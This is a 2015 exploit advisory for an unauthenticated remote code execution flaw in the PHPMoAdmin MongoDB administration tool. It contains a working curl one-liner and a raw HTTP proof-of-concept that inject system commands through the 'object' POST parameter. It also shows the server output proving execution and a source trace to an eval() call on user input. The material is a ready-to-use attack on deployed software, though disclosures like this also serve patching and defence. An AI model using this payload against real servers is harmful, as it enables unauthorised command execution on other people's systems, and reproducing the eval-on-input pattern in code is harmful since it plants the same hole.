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PHPMoAdmin Remote Code Execution

Posted on 04 March 2015

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# PHPMoAdmin Unauthorized Remote Code Execution (0-Day)
# Website : http://www.phpmoadmin.com/
# Exploit Author : @u0x (Pichaya Morimoto), Xelenonz, pe3z, Pistachio
# Release dates : March 3, 2015
#
# Special Thanks to 2600 Thailand group
# https://www.facebook.com/groups/2600Thailand/ , http://2600.in.th/
#
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[+] Description
============================================================
PHPMoAdmin is a MongoDB administration tool for PHP built on a
stripped-down version of the Vork high-performance framework.

[+] Exploit
============================================================
Someone was trying to sale this shit for 3000usd lolz

$ curl "http://path.to/moadmin.php" -d "object=1;system('id');exit"

[+] Proof-of-Concept
============================================================
PoC Environment: Ubuntu 14.04, PHP 5.5.9, Apache 2.4.7

POST /moadmin/moadmin.php HTTP/1.1
Host: 192.168.33.10
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0)
Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

object=1;system('id;ls -lha');exit

HTTP/1.1 200 OK
Date: Tue, 03 Mar 2015 16:57:40 GMT
Server: Apache/2.4.7 (Ubuntu)
Set-Cookie: PHPSESSID=m0ap55aonsj5ueph7hgku0elb1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 223
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 116K
drwxr-xr-x 1 longcat longcat 102 Mar 3 16:55 .
drwxr-xr-x 6 root root 4.0K Mar 3 16:17 ..
-rw-rw-r-- 1 longcat longcat 112K Mar 3 16:55 moadmin.php

[+] Vulnerability Analysis
============================================================
Filename: moadmin.php
1. create new moadminComponent object
1977: $mo = new moadminComponent;

2. if the http-post parameter 'object' is set
738: class moadminComponent {
...
762: public function __construct() {
...
786: if (isset($_POST['object'])) {
787: if (self::$model->saveObject($_GET['collection'],
$_POST['object'])) {
...

3. evaluate the value of 'object' as PHP code
692: public function saveObject($collection, $obj) {
693: eval('$obj=' . $obj . ';'); //cast from string to array

 

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